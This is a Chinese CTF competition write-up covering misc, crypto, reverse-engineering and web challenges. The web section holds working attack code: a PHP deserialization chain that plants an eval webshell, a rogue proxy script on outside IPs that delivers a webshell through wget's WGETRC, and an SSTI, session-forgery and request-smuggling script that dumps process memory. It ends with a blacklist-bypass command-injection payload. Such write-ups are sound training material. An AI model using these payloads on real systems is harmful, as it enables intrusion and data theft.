0x01 前言 此次比赛的复赛分为了个人赛和团队赛,所以会对文章分别发送,如果需要查看个人赛的WriteUp,请点击标题下方蓝字 进入主页查看哦。
0x02 个人赛 Misc 应急食品 打开food.txt发现是一串base64代码,经过解码后发现在内容最后有个提示Hint:?GNP
观察字节流发现开头4个字节为98 05 e4 74,而PNG的文件头为89 50 4e 47,正好是十六进制的高低位进行了反转,那么编写脚本进行转换即可得到一张PNG图片
1 2 3 4 5 6 7 8 9 10 import base64 f1 = open('food.txt','rb').read() data = base64.b64decode(f1) f2 = open('org_food.png','ab') for i in range(len(data)): l = data[i] << 4 & 255 h = data[i] >> 4 data2 = (l + h).to_bytes(1, 'little') f2.write(data2) f2.close()
然后stegsolve打开看0通道发现LSB,提取即可得到flag
unhealthy QR 解压出来发现rar打不开,用010打开查看发现文件结构被修改过
根据rar4的结构分析,箭头所指位置应该为0x74
修改成74,解压
Un qr是dotcode图片
背景却变成了黑色,用stegsolve将其颜色反一下后,使用在线网站进行扫描
https://demo.dynamsoft.com/barcode-reader/
得到doooot
成功解压out.zip
发现为snow隐写
执行 .\SNOW.EXE -C .\out.txt即可得到flag
flag{sn0w_4nd_dot}
Colorful 给了两张图片,一张flag.png,一张flag{fake_flag}.png
图片很奇怪,颜色也很单一,先写个脚本看一下有哪些颜色,以fake为例
1 2 3 4 5 6 7 8 9 from PIL import Image img = Image.open('flag{fake_flag}.png') w,h = img.size color = [] for i in range(h): for j in range(w): color.append(img.getpixel((j,i))) print(set(color)) #{(0, 255, 255), (0, 255, 0), (0, 0, 0), (255, 0, 0), (255, 255, 255), (128, 128, 128), (0, 0, 255), (255, 0, 255)}
一共有8种颜色,其中一种(128,128,128)在最后,且和其他颜色不同,应为终止提示
结合描述和特征,能够判断为brainfuck,而除掉128之后只有7种颜色,根据brainfuck语言的解释,在brainfuck中逗号为接受一个输入,因为没有输入所以去掉逗号后为7种颜色,接下来就是为7种颜色进行排序。
len(‘flag{fake_flag}’) = 15,句号为输出,根据判断图片颜色个数为15的只有(255, 0, 255)
手动去生成一个flag{fake_flag}的brainfuck进行对比,就能发现(0,0,0)为<,(0, 0, 255)为+
根据循环[->xxxxxxxxxx<],且<已知,即可得到全部的索引对应,为:
<>-+,.[]
(0,0,0),(255,0,0),(0,255,0),(0,0,255),(255,255,0),(255,0,255),(0,255,255),(255,255,255)
据此,写出解flag.png的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from PIL import Image img = Image.open('flag.png') w,h = img.size bf_ind = list('<>-+,.[]') codes = '' color_ind = [(0,0,0),(255,0,0),(0,255,0),(0,0,255),(255,255,0),(255,0,255),(0,255,255),(255,255,255)] for i in range(h): for j in range(w): color = img.getpixel((j,i)) if(color == (128,128,128)): print(codes) exit() else: ind = color_ind.index(color) codes += bf_ind[ind]
然后使用网站
https://gkucmierz.github.io/brainfuck-interpreter/
字节放入010
发现有密码,爆破纯数字得到密码
flag{colorful_brainfuck!!!}
babymusic 下载附件,修复二维码
扫描即可得到Flag。
LnMcoRhgirQ 解压得图,一个二维码,用手机软件Barcode Scanner
扫二维码四个角,得四串字符串,自己根据观察,组合成flag
Crypto 洗牌 简单题,就是随机打乱了一下flag,但是随机数种子给了。所以直接就能逆了,具体见脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 c='9lf5c7504fbea330accg{c-8d6-62e-ef}3aa-d3-34' import randoms=0x1869f0 random.seed(s) import strings=string.ascii_letters+string.digits s=s[:len (c)] ss='' .join(random.sample(s,len (s))) sss=[0 for i in range (len (c))] for i in range (len (ss)): ind=s.index(ss[i]) sss[ind]=c[i] print ('' .join(sss))
BabyRsa 首先模数的因子比较小,yafu可以分解。
然后根据欧拉定理可以求出欧拉函数。
最后RSA解密即可。
1 2 3 4 5 6 7 8 p=11795576488031432147 q=12296365925077812421 N=q**8 * p**8 phi=(q**8 -q **7)*(p**8 -p**7 ) from Crypto.Util.number import * d=inverse(65537,phi) c=97005606970821804403994763488668565541380119944415342813038679665968492985759461541273864242512555285439143004622121856190251008775641399317706165715818778134144273158588994292880105800607038946430945921187911592583778698219033437461671853884487810872315564812232169491576154432524236217382798380345144152 print(long_to_bytes(pow(c,d,N)))
DHDH DH密钥交换。
但是题目给了s的高位和s^2的高位。而且未知低位都很小,所以采用二元Copper进行攻击,具体见脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import itertools ''' def small_roots(f, bounds, m=1, d=None): if not d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m+1): base = N^(m-i) * f^i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1/factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B*monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return [] ''' p = 62606792596600834911820789765744078048692259104005438531455193685836606544743 g = 5 X = 1361502353718142335290756823026766551003746542140869010376 Y = 1828232899563452375539387989530262337663045447357617554114 ''' P.<x, y> = PolynomialRing(Zmod(p)) f=(x+X*pow(2,64))*(x+X*pow(2,64))-Y*pow(2,64)-y root=small_roots(f, (2^64, 2^64), m=3)[0] print(root) ''' from hashlib import * from Crypto.Cipher import AES s = (X << 64) + 11214182670396543218 key = sha256(str(s).encode()).digest() aes = AES.new(key[:16], AES.MODE_ECB) c = 'fe9d5504337268af5038f5f538d6e27c2a5d69b50edb8fdb3d085227090fab85f34c19fb3b32f6a1c667373d4ce9d5b0' from binascii import * cipher = aes.decrypt(unhexlify(c)) print(cipher)
signinrsa 维纳攻击,可以用风二西的工具
mt19937 解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import randomimport gmpy2import libnumfrom Crypto.Util.number import *from Crypto.Cipher import AESfrom randcrack import RandCrackrc = RandCrack() with open ('output.txt' , 'r' ) as f: f = f.read().splitlines() for i in f: rc.submit(int (i)) random.seed(rc.predict_getrandbits(32 )) while 1 : p = random.getrandbits(512 ) if (gmpy2.is_prime(p)): break print (p)n=46525839089831185701108110029310207690327424032321814763466869874332831086741382619752334191021679492220645276019663668176530504115445648367390471669858709146050115114858865711052569559692526357219007044679677272727587896873225732573756589863512041373160446977063051015729699733068553156799595721421097453539 c=29822058289270934870503131871050609432926038316538156730186283286275246317896375827435773865063696158692028753879569107781225950474808853846740295959610080904787522151259582033938657893213800958059983641080655825454919488558356164249385887903383766186002583422399085221963779028450817869129333354898753897816 q = n // p print (q)e = 0x10001 d = gmpy2.invert(e,(p-1 )*(q-1 )) m = pow (c,d,n) print (m)print (long_to_bytes(m))
Reverse ezre Ida打开,发现他固定了srand的种子,调用rand生成序列数作为密钥。
我们直接复写一下就行了 请在linux下编译运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <iostream> #include <string> using namespace std;int main () { srand (0x34123 ); unsigned int enc[] = { 0xffffffa0 ,0xffffffaa ,0xffffffec ,0xffffffb7 ,0xffffff85 ,0xffffffe3 ,0x4b ,0x64 ,0xffffff85 ,0x5b ,0x65 ,0xffffff94 ,0xffffff84 ,0xffffff88 ,0xffffffbc ,0xffffffdd ,0x49 ,0xffffffff ,0xffffffcd ,0x15 ,0xffffff90 ,0xffffffee ,0xffffffb3 ,0x64 ,0xffffffb9 ,0x55 ,0x21 ,0x40 ,0x17 ,0xfffffff9 ,0x4a ,0xffffff90 ,0xffffffdf ,0xffffffe1 ,0xffffffa5 ,0xffffff8d ,0xffffff8c ,0x7b ,0xffffffaf ,0xffffff90 ,0x3f ,0xffffffa5 }; char m[42 ]; for (int i = 0 ; i <= 41 ; i++) { m[i] = enc[i] ^ i ^ (rand () & 0xff ); printf ("%c" , m[i]); } return 0 ; }
flag{0118effa-9087-436b-83a2-03cd688eba5d}
jmpjmp 查壳
发现有upx 并且 段名称被修改,我们把段名称jmp0 jmp1恢复成UPX0 UPX1 即可用
upx -d 指令脱壳
脱完壳,用ida32打开 shift +f12 查看字符串
发现有字符串末尾有= 但是并不是正常的base64表,猜测换表了。并且下面也有一小段base64后的字符。猜测为我们的密文。按x交叉索引过去。发现此处一片红,ida不能正常f5.显示硬编码后,发现
有花指令,并且有三处。直接nop 掉
即可重新定义后按p恢复成函数
出现加密逻辑。
普通的逻辑运算,简单逆回去写个exp即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 k=[0x0000000C, 0x00000022, 0x00000038, 0x0000004E, 0x0000005A] tk=B'GCH~1' k=[k[i]^tk[i] for i in range(5)] s=list(b'NQ9oD{4/57{H/3PW<E_Ax') v4=[0]*12 v4[0] = 0; v4[1] = 2; v4[2] = 4; v4[3] = 8; v4[4] = 9; v4[5] = 11; v4[6] = 13; v4[7] = 14; v4[8] = 15; v4[9] = 16; v4[10] = 17; v4[11] = 19; for i in range(12): s[v4[i]]-=50 for i in range(21): s[i]^=k[i%5] print(bytes(s)) #s='flag{W0w_y0U_3n0w_1unkcod3}'
本题关键是正确识别出UPX壳,并且恢复签名,然后使用upx -d 脱壳。
然后正确识别出换表base64 加密以及花指令的去除以及函数的恢复和重新定义 。
tea 观察程序流程,首先输入 32 位的 flag 之后与 0xab 异或,并且通过Unicorn Engine
执行 base64 解密出的 shellcode,并分配了内存空间设置了寄存器的值。
其实可以将通过函数指针来调用,不过既然是 python 来模拟的,那么我们就用 Capstone
来对代码进行反汇编,因为 shellcode 的函数参数类型等不好确定
Capstone 是一款反编译器,支持 x86、arm、mips 等架构,通过调用一些 api 函数可以进行汇编和反汇编。
1 2 3 4 5 6 7 8 9 import base64 from capstone import Cs, CS_ARCH_X86, CS_MODE_64, CsError code = base64.b64decode( b"SDPASD2vAAAAfw2QkJCQgDQHfEj/wOvrPSs9Kj0pPSgpKyovNfWxNPWrwXx8fHyXKvWsvZx4fYw68UB+OE2EPfWrPb2TeT19ozhNhH29Pf2UtfodOvW0vZx4OH2kOvFAfThNhD31sz29k3k5fas4TYR9vj3/vX09/4VjAsg99XI99WhY/7l+/4F7A1M0H7kx8Qj5fD33cjHxGPl4PfdoWPdL9yN4OPcjdDj3K3A9xXx8fHw9xHx8fHyXwCciIyE9ID0hPSI9Iw==" ) md = Cs(CS_ARCH_X86, CS_MODE_64) for instruction in md.disasm(bytes(code), 0):#第一个参数是要反汇编的机器码 第二个参数是起始地址 print("0x%x:\t%s\t%s" % (instruction.address, instruction.mnemonic, instruction.op_str))
disasm 函数翻译到错误代码停止或完整反汇编 code 结束,显然之后的代码出现了问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 machine.reg_write(unicorn.x86_const.UC_X86_REG_RDI, CODE_ADDR + 0x18) 0x0: xor rax, rax 0x3: cmp rax, 0xaf 0x9: jg 0x18 0xb: nop 0xc: nop 0xd: nop 0xe: nop 0xf: xor byte ptr [rdi + rax], 0x7c 0x13: inc rax 0x16: jmp 3 0x18: cmp eax, 0x3d2a3d2b 0x1d: sub dword ptr [rip + 0x2a2b2928], edi
可知 RDI 指向代码 0x18 处,而上述代码块对 0x18 开始的 0xaf 字节异或了 0x7c,故此段位自修改代码,需要先对 0x18 后的 code 异或 0x7c 再进行反汇编,得到如下指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 0x0: xor rax, rax 0x3: cmp rax, 0xaf 0x9: jg 0x18 0xb: nop 0xc: nop 0xd: nop 0xe: nop 0xf: xor byte ptr [rdi + rax], 0x7c 0x13: inc rax 0x16: jmp 3 0x18: cmp eax, 0x3d2a3d2b 0x1d: sub dword ptr [rip + 0x2a2b2928], edi 0x0: push r15 0x2: push r14 0x4: push r13 0x6: push r12 0x8: push rbp 0x9: push rdi 0xa: push rsi 0xb: push rbx 0xc: mov r13, rcx 0xf: mov rdi, rdx 0x12: mov ebp, 0 0x17: jmp 0x6f 0x19: mov eax, edx 0x1b: shl eax, 4 0x1e: add eax, esi 0x20: lea r15d, [rdx + r8] 0x24: xor eax, r15d 0x27: mov r15d, edx 0x2a: shr r15d, 5 0x2e: add r15d, ebx 0x31: xor eax, r15d 0x34: add ecx, eax 0x36: sub r8d, 0x466186c9 0x3d: mov eax, ecx 0x3f: shl eax, 4 0x42: add eax, r11d 0x45: lea r15d, [rcx + r8] 0x49: xor eax, r15d 0x4c: mov r15d, ecx 0x4f: shr r15d, 5 0x53: add r15d, r10d 0x56: xor eax, r15d 0x59: add edx, eax 0x5b: add r9d, 1 0x5f: cmp r9d, 0x1f 0x63: jle 0x19 0x65: mov dword ptr [r14], ecx 0x68: mov dword ptr [r12], edx 0x6c: add ebp, 2 0x6f: cmp ebp, 7 0x72: jg 0xa3 0x74: movsxd rax, ebp 0x77: lea r14, [r13 + rax*4] 0x7c: mov ecx, dword ptr [r14] 0x7f: lea r12, [r13 + rax*4 + 4] 0x84: mov edx, dword ptr [r12] 0x88: mov esi, dword ptr [rdi] 0x8a: mov ebx, dword ptr [rdi + 4] 0x8d: mov r11d, dword ptr [rdi + 8] 0x91: mov r10d, dword ptr [rdi + 0xc] 0x95: mov r9d, 0 0x9b: mov r8d, 0 0xa1: jmp 0x5f 0xa3: pop rbx 0xa4: pop rsi 0xa5: pop rdi 0xa6: pop rbp 0xa7: pop r12 0xa9: pop r13 0xab: pop r14 0xad: pop r15
通过右移 5 和左移 4 外加题目名称可以确定是 Tea 系列,魔改了 delta 并且 sum+=delta 放到了 v0 的修改之后,也可以保存成文件,直接用ida64打开。参考 unicorn 中对寄存器的赋值,写出解密脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <iostream> #define ut32 unsigned int #define delta 0xb99e7937 void Tea_Decrypt (ut32* enc, ut32* k) { ut32 sum = delta * 0x20 ; ut32 v0 = enc[0 ]; ut32 v1 = enc[1 ]; for (int i = 0 ; i < 0x20 ; i++) { v1 -= ((v0 << 4 ) + k[2 ]) ^ (v0 + sum) ^ ((v0 >> 5 ) + k[3 ]); sum -= delta; v0 -= ((v1 << 4 ) + k[0 ]) ^ (v1 + sum) ^ ((v1 >> 5 ) + k[1 ]); } enc[0 ] = v0; enc[1 ] = v1; } int main () { uint8_t m[32 ] = { 0x70 ,0x20 ,0x1c ,0x3a ,0xa2 ,0x00 ,0x59 ,0xa9 ,0x80 ,0xad ,0x8d ,0x7a ,0x88 ,0xd4 ,0x30 ,0xe4 ,0x5e ,0x34 ,0x37 ,0x6f ,0x96 ,0x5d ,0x82 ,0x7b ,0xc3 ,0xcf ,0xe2 ,0xc1 ,0x52 ,0x0d ,0xf1 ,0x8d }; uint8_t k[16 ] = { 103 , 69 , 35 , 1 , 239 , 205 , 171 , 137 , 152 , 186 , 220 , 254 , 16 , 50 , 84 , 118 }; for (int i = 0 ; i < 32 ; i += 8 ) Tea_Decrypt ((ut32*)(m + i), (ut32*)(k)); for (int i = 0 ; i < 32 ; i++) printf ("%c" , m[i] ^0xab ); return 0 ; } # flag{ez_unicorn_!!!%$!#!@##@$%$}
MFC 使用查壳工具查壳,得知题目是MFC应用,没有加壳
利用IDA反编译程序,如果程序需要验证flag,那么必须先获取输入的文本,在Import界面搜索text,利用交叉引用找到关键函数,分析关键验证函数
分析得知,程序使用了异或算法对输入加密,然后与密文比对。
手动提取密文的十六进制,异或回去即可
1 2 3 4 c = [0xe1 , 0xeb , 0xe6 , 0xe0 , 0xfc , 0xb6 , 0xe1 , 0xe3 , 0xb2 , 0xb6 , 0xb7 , 0xbe , 0xe2 , 0xbe , 0xb1 , 0xb2 , 0xb2 , 0xb6 , 0xb6 , 0xe2 , 0xe2 , 0xb3 , 0xb0 , 0xb3 , 0xe2 , 0xb2 , 0xe3 , 0xe3 , 0xe2 , 0xb3 , 0xb7 , 0xb7 , 0xb0 , 0xe6 , 0xb0 , 0xb6 , 0xe1 , 0xfa ] for i in c: print (chr (i ^ 0x87 ), end='' )
得到flag flag{1fd5109e965511ee474e5dde4007a71f}
Puzzle 查看信息
UPX 脱壳
脱壳失败
Ida 查看
发现不是 UPX,但是检测了为 UPX,使用 hex 编辑器将 FUK 修改为 UPX 后即可正常脱壳
Ida 查看 main 函数
关键函数 moving()
涉及到移动方式
分析可知迷宫大小为 512,但是直接查看并不能直接得到迷宫,注意到 init 函数
为迷宫的生成,并且每次生成 64 位,可知迷宫为 88 8 大小。
可以直接输入一串 u,让其进行多次生成,然后动调提取,再进行解题
根据 88 8 还原迷宫然后进行解题,得到路线为 ssddssuuwwddndduuussdussasauudd 验证一下
Flag为flag{ssddssuuwwddndduuussdussasauudd}
Web EZUnserialize 访问题目可以直接得到源码
反序列化后函数执行只有一个入口\Starter::__destruct
只要对象的mainDicHand变量不为False就会调用worker成员变量的fremove函数,并且将成员变量mainDicHand作为参数执行
以为Helper类没有实现fremove函数且定义了__call函数所以这里可以调用\Helper::__call
之后会将Helper的成员变量invoke作为函数进行动态调用,传入未实现的函数参数作为执行参数
这里可将invoke定义为一个数组(Worker实现变量,”fwrite”)从而调用\Worker::fwrite写入shell
最终构造poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class Worker { function fwrite ($data ) { if (!isset ($_POST ["fname" ]))exit ("what is your filename???" ); $fname = $_POST ["fname" ]; if (file_exists ($fname )){ @unlink ($fname ); } file_put_contents ($fname ,$data ); echo "Your files are stored in $fname " ; return true ; } function fremove ($fname ) { if (file_exists ($fname )){ @unlink ($fname ); return true ; } return false ; } } class Starter { public $worker ; public function __construct ( ) { $this ->worker = new worker (); } function __destruct ( ) { if ( $this ->mainDicHand !== FALSE ) { $this ->worker->fremove ( $this ->mainDicHand ); } } } class Helper { public $invoke ; public function __construct ( ) { $this ->invoke = "var_dump" ; } function __call ($name ,$args ) { echo "$name is not exists" .PHP_EOL; ($this ->invoke)($args ); } } $starter =new Starter ();$helper =new Helper ();$worker =new Worker ();$helper ->invoke= array ($worker ,"fwrite" );$starter ->mainDicHand = '<?php phpinfo();eval($_REQUEST[0]);?>' ;$starter ->worker = $helper ;printf (serialize ($starter ).PHP_EOL);$_POST ["fname" ]="shell.php" ;$_POST ["data" ]='O:7:"starter":2:{s:6:"worker";O:6:"helper":1:{s:6:"invoke";a:2:{i:0;O:6:"Worker":0:{}i:1;s:6:"fwrite";}}s:11:"mainDicHand";s:37:"<?php phpinfo();eval($_REQUEST[0]);?>";}' ;if (isset ($_POST ["data" ])){ unserialize ($_POST ["data" ]); }
将得到的数据作为data参数,再shell.php传入fname参数,然后就会在shell.php文件中生成一个webshell进行命令执行从而获取/flag
YouAreMyAgent wget的专有环境变量WGETRC
,wget命令的一个专有配置WGETRC
可用于指定wget
命令的配置文件(重要的是这个文件名没有任何限制)
需要了解一点 我们wget
的数据保存在什么后缀名的文件中(如.php,.html等)并不是由返回的数据类型或者返回来的response数据包中的filename
字段所决定的,而是根据请求url中的最后一个文件名判断,URL结尾如果有文件的话最终文件返回数据保存在这个文件中,如果没有的话默认保存于index.html
因此我们wget http://is.cumt.edu.cn/
得到的数据应该是要保存在index.html中的
结合前面说的两点: 配置文件+文件下载,在当前看不到两者的火花,但是,如果我们可以控制index.html文件的内容呢?
代理 有基础的weber可跳过此部分
什么是代理?
一般的代理正常来说就是帮助我们转发信息,并将返回得到的信息交还回来给我们, 但是如果这时是一个恶意代理情况就不一样了
通过http_proxy
配置设置代理服务器为我们的VPS,然后在代理端口进行服务,这时变成这样子的恶意服务
一般来说如图所示,代理服务器就是一个中转站,不会变更数据,但是如果此时我们变为一个恶意代理服务器,不管docker请求发起什么申请我们都返回一个恶意数据交给wget
就会变为如下情况
可以看到,此时恶意数据就被wget收到后存在文件中(在题目中就是index.html),如果这个恶意数据就是我们上面所说的wget
的配置数据呢?
使用代理 我们只要设置http_proxy或https_proxy为我们的VPS链接就会在wget请求http或https的时候使用我们的恶意VPS作为代理执行上述过程
我们确定恶意数据为:
1 2 3 http_proxy = http://47.99.70.18:2607/ use_proxy = on output_document = filename
执行一个http代理服务后会在VPS主机开设一个监听端口等待docker连接
服务器的9999端口等待其它主机的连接,docker与VPS9999端口建立socket连接后传输数据,将我们的恶意数据包返回给docker交给wget
进行处理保存
所以到此,我们就任意决定生成的用于存储数据的index.html
中的文件内容了
WGETRC的作用 WGETRC简单理解就是wget的配置文件具体路径,用于指定wget
的配置文件。
回到前面,我们说了要配置wget,配置文件内容也有了那么接下来我们要进行哪些配置?
传输参数: ?env_key=WGETRC&env_value=/var/www/html/index/html
http_proxy = http://47.99.70.18:2607/
用于设置http代理服务器
use_proxy = on
表示每次wget请求下载资源的时候都是用代理
output_document = filename
这个配置是最关键的 ,之前我们已经对上传的文件内容可控了,但是,只能控制index.html终究是利用有限,但是当我们进行了这个设置之后,我们保存的文件命令就是上面的filename
而不是index.html
到这里,我们只要先使用代理将配置内容上传到index.html
中然后设置参数WGERC=/var/www//html/index.html
后面即可继续结合VPS服务器修改传输内容即可任意文件传输。
这里是PHP服务,如果我们的文件时shell.php即可直接getshell,或者也可以使用hack.so+LD_PRELOAD或者gconv-modules+UTF-8.so+GCONV_PATH等方式反弹shell,但是在这里没必要,直接传php文件即可,以下为操作过程:
http_proxy:访问http资源的代理地址
use_proxy:这次wget访问资源是否使用代理
output_document:返回的资源保存到哪个文件
然后设置WGETRC
,将wget的配置文件指定为/var/www/html/index.html
(就是上面通过wget下载到的文件),这次使用的代理服务端口为8888
修改脚本上传的文件内容为一个webshell
上传配置文件env_key=http_proxy&env_value=http://1.117.23.177:9999/
上传webshell文件 env_key=WGETRC&env_value=/var/www/html/index.html.12
访问webshell /1.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import socketdesc_host = '0.0.0.0' desc_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while 1 : try : server.bind((desc_host, desc_port)) break except : pass print "Proxying to %s:%s ..." %(desc_host, desc_port)while 1 : server.listen(5 ) conn, addr = server.accept() recv=conn.recv(1024 ) print recv page = b"<?php @eval($_REQUEST[0]);phpinfo();" head=b"""HTTP/1.1 200 OK Server: gunicorn Date: Mon, 18 Apr 2022 13:38:20 GMT Connection: close Content-Type: text/plain Content-Length: """ +str (len (page)).encode()+b""" Content-Disposition: attachment; filename=333.php\t\n\n""" conn.sendall(head+page) print (head+page) conn.close()
MemoryChallenge 打开链接可以直接得到app8888.py的源码
可以看到会进行身份验证才能使用一些接口,通过register可以注册用户并将用户名添加到users列表中
1 Login接口传入username和password,会检查用户名是否在队列中,如果在的话会读取home.html并且放入username进行使用render_template_string
进行字符串渲染
这里可以使用SSTI注入,但是这里很多关键字都被过滤了,保留了可以用于读取secret_key进行session伪造
登录查看secret_key
之后就可以进行session伪造了
注意: session伪造必须使用linux的python3,否则sesssion伪造会失败,以为linux和Windows的python中的Flask对session的加密方式是有区别的, 而python2和python3的session加密方式也是同样有区别的,所以需要使用linux的python3才能伪造session(可以像是poc一样直接开启一个flask服务然后设置secret_key也可以使用网上的flask_session伪造工具进行伪造)
使用伪造的session进行登录
此时访问/findflag和/download会发生变化
访问/download?filename=/app/app8887.py 查看8887端口服务源码
到此得到全部源码,可以看到flag文件在8887服务中flag被读取出来后就被删除,所以并不能通过文件读取的方式获得flag,但是flag是被读取了的并且作为被赋值给了一个变量,所以内存中会有flag的记录,linux怎么读取内存呢?
Linux的进程内存入口可以选择/proc/pid/mem,这里flag读取进程和内存读取进程都是8887服务,所以pid可以设为self(/proc/self/mem是不能被直接读取的,只能通过打开文件的方式读取内存,然后通过指定指针偏移来对其进行获取,而8888的/download接口并不做到这点,而8887的/admin/findflag就可以完成)
查看源码可见在8887端口有接口/admin/findfile可以进行自定义偏移量的文件读取 但是这个服务并未对外映射且为本地服务因此无法访问, 但是在8888端口的/findflag接口使用的是socket请求,并且其中的uri我们可以自定义,所以可以进行http走私请求,构造符合走私访问要求的uri
能进行走私请求访问/admin/findflag的uri如下:
1 2 3 4 5 6 uri = f"""admin/findfile?filename=../../../../../../..{filename}%26size={size} HTTP/1.1 Host: admin_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
之后就可以通过8887服务的/admin/findflag进行文件偏移读取,这里从/proc/self/mem读取8887服务的内存, 如果直接盲目的读取内存的话那是很低效的,以为里面会有很多的lib依赖包存放在内存中,它们占了很大一部分的内存,而这些都不是我们想要的这时我们,这时就可以结合使用记录内存分布的文件/proc/self/maps进行分析读取了
前面为内存存放起止地址,后面为存放的数据内容,我们这样子就可以直接排除掉so依赖文件的内容了,而我们的变量存储一般是空的,所以在这里我们可以直接读取那些后面标记为空的内存数据即可
之后就通过/admin/findflag进行http走私请求读取/proc/self/mem,并根据maps中的起止地址记录设置偏移和读取数据大小即可
请求后/admin/findflag会将数据读出并存放到/tmp下的一个随机文件中,这个随机文件名会返回给我们,然后我们就可以通过8888服务的/download进行下载
这里将全部非lib的so文件数据下载后就可以进行flag搜索了(其实并不用全部数据都dump下来,正常来说只要dump一部分数据下来就可以找到flag,但是也可能运气没那么好需要dump的数据就比较多了)
这里我将每段数据下载下来之后将他们存入./save文件夹下,文件名就是它们的其实地址 之后就可以使用grep进行flag搜索查询了
1 cd save ;grep -r flag{ .
找到flag匹配的文件后使用xxd结合grep寻找flag(以为这是二进制数据流所以并不能直接通过cat输出)
1 xxd 0x7f9a7ec6c000-0x7f9a7ecac000 |grep flag{
然后根据行号锁定flag位置
Poc脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #!coding=utf-8 import base64 import os import re import threading import requests,time from flask import Flask,session url = "http://1.117.23.177:8877/" cookie="" start_time=time.time() def getKey(): global url getKey_session = requests.session() getKey_session.get(url + "register?username={{config}}&password=1") text = getKey_session.get(url + "login").text try: securet_key = text. \ split("SECRET_KEY': '")[1]. \ split("', ")[0] except: securet_key = text print(securet_key) return securet_key app = Flask(__name__) app.secret_key=getKey() @app.route('/get_session', methods=['GET']) def get_session(): session["name"]="admin" session["is_admin"] = True return "OK" def get_cookie(): flask_session=requests.get("http://127.0.0.1:9999/get_session").headers["Set-Cookie"].split("session=")[1].split(";")[0] print("flask_session",flask_session) return flask_session def dowload(filename,size): global cookie,start_time if cookie=="" or time.time()-start_time>60: cookie=get_cookie() start_time = time.time() print(filename,size) uri = f"""admin/findfile?filename=../../../../../../..{filename}%26size={size} HTTP/1.1 Host: admin_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close """ res = requests.get(url + f"findflag?uri={uri}", cookies={"session": cookie}) print(res.content) return res.content.split(b"dump to ")[1] def poc(): time.sleep(2) global cookie pid="self" file_maps_fname = dowload(f"/proc/{pid}/maps","0/100000").decode() file_maps=requests.get(url+f"download?filename={file_maps_fname}",cookies={"session": cookie}).text os.system("rm -rf ./save;mkdir save") print(file_maps) for i in file_maps.split("\n"): try: if ".so" in i or "lib" in i or "python3" in i or "dev" in i: continue t = re.match(r"[0-9-abcdef]*", i) location = t.group().split("-") try: start, end = "0x" + location[0], "0x" + location[1] except: continue fname = "./save/" + start + "-" + end print(fname) save = open(fname, "ab") file_temp_name = dowload(f"/proc/{pid}/mem", f"{int(start, 16)}/{int(end, 16)}").decode() print(file_temp_name) tt = requests.get(url + f"download?filename={file_temp_name}", cookies={"session": cookie}).content save.write(tt) save.close() print("Finish") except: print("Error") threading.Thread(target=poc).start() app.run(host="127.0.0.1", port=9999)
Easy math 总体意思为GET传入一个c参数,要求1.长度小于80,2.字符串不能在黑名单内,3.可以输入白名单的函数,然后输出c的参数。
首先,构造payload:?c=system(ls)
因为system,ls在不在白名单中,所有更改一下形式:?c=$_GET[a]($_GET[b])&a=system&b=ls
因为对长度限制,我们再更改一下格式?c=$pi=_GET;&&pi{pi}($$pi{abs})&pi=system&abs=ls
因为“_GET”在不在白名单中,
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=ls
1 2 3 4 5 6 7 base_convert(37907361743,10,36) => "hex2bin" dechex(1598506324) => "5f474554" $pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串 ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
输入payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat%20/flag
